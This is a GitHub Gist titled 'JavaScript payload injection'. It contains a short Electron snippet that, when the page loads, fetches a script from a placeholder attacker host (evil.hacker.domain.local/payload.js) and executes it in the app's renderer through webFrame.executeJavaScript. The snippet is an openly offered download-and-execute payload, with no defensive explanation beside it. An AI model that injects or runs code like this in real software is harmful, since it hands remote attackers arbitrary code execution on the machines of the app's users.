Created
July 17, 2019 23:26
-
-
Save JonnySchnittger/3ceb3ed50f8ce68f38659b56f2b15ecb to your computer and use it in GitHub Desktop.
JavaScript payload injection
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
document.addEventListener("DOMContentLoaded", function () { | |
const { webFrame } = require('electron') | |
const https = require("https"); | |
const remoteUri = 'https://evil.hacker.domain.local/payload.js'; | |
let execute = function(script) { | |
webFrame.executeJavaScript(script) | |
}; | |
const response = fetch(remoteUri, { }) | |
.then(res => res.text()) | |
.then(body => execute(body)); | |
}); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment